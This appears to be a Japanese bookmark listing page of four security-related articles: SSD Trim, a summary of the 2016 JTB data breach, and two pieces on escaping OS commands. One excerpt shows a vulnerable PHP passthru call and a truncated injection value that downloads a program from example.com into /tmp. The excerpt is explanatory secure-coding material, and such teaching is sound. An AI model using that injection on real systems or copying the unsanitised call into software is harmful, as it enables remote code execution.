タグ

情報セキュリティに関するakaneharaのブックマーク (4)

  • Trim命令の功罪

    SSDの性能低下とその理由SSDの速度は非常に魅力的で、その速さを一度体験してしまうとハードディスク(HDD)にはなかなか戻れません。SSDの高速性の大きな理由として、機械的な待ち時間が存在しないことが大きな要因を占めています。ハードディスクはいったん読み書きが始まればそこそこ高速なデバイスですが、目的のトラックまでヘッドを移動させる「シーク時間」と、そのトラック上で目的のセクターが来るまで待つ「回転待ち」時間に数十ミリ秒~百数十ミリ単位の時間を要するため、実質的なデータ転送時間以外のオーバーヘッドが大きく、これがSSDとハードディスクの速度の体感差を決めていると言っても過言ではありません。 その高速なSSDですが、実際にはいくつか弱点があることはこれまでの記事でも述べてきました。そのほとんどは記録媒体であるフラッシュメモリの仕様による制限で、「書き換え寿命」が存在すること、そして「書き換

    Trim命令の功罪
  • JTBへの不正アクセスについてまとめてみた - piyolog

    2016年6月14日、JTBは同社のサーバーが不正アクセスを受け、顧客情報が漏えいした可能性があると発表しました。ここでは関連情報をまとめます。 公式発表 今回の不正アクセスによる影響はJTB他、同社の提携サービスを展開している他社にも波及している。 JTBグループ 2016年6月14日 不正アクセスによる個人情報流出の可能性について 2016年6月14日 Re: Occurrence of Unauthorized Access (魚拓) 2016年6月16日 個人情報流出の可能性があるお客様へのご連絡について 2016年6月17日 「なりすましメール」「フィッシングメール」や「なりすましサイト」にご注意ください JTB提携先 NTTドコモ 2016年6月14日,16日 提携先のJTB社のグループ会社サーバーへの不正アクセスに伴う「dトラベル」の個人情報流出の可能性について (魚拓) (

    JTBへの不正アクセスについてまとめてみた - piyolog
  • OSコマンドのエスケープ

    (Last Updated On: 2022年7月25日)プログラムからOSコマンドを実行する場合、エスケープ処理を行わないと任意コマンドが実行される危険性があります。 今回はOSコマンドのエスケープについてです。 OSコマンドインジェクション OSコマンドインジェクションはプログラムから実行するコマンドに、攻撃用文字列を挿入(インジェクション)して意図しないコマンドを実行させる攻撃です。 例えば、次のようなLinuxシステムのディレクトリの内容を表示させるプログラム <?php passthru('ls -l '.$_GET['dir']); (任意のディレクトリ内容を表示できる脆弱性はここでは考慮しない) に不正なコマンドを実行させるのはとても簡単です。$_GET[‘dir’]に . ; cd /tmp; wget http://example.com/evil_program; ch

    OSコマンドのエスケープ
  • OSコマンドのエスケープ – シェルの仕様とコマンドの実装

    (Last Updated On: 2018年8月16日)OSコマンドのエスケープの続きです。OSコマンドインジェクションを防ぐための、OSコマンドのエスケープはSQLのエスケープに比べるとかなり難しいです。 難しくなる理由は多くの不定となる条件に依存する事にあります。 OSコマンドを実行するシェルはシステムによって異なる シェルはプログラミング言語+複雑なエスケープ仕様を持っている(コマンド以後はクオートなしでも文字リテラルのパラメーター+各種展開処理) WebアプリはCGIインターフェースで動作するため環境変数にインジェクションできる コマンドパラメーターの取り扱いはコマンド次第である 実行されるコマンドの実装により、間接インジェクションが可能になる SQLの場合、出力先のシステムは一定です。PostgreSQL用にエスケープした文字列をMySQLで実行したり、MySQL用にエスケープ

    OSコマンドのエスケープ – シェルの仕様とコマンドの実装
  • 1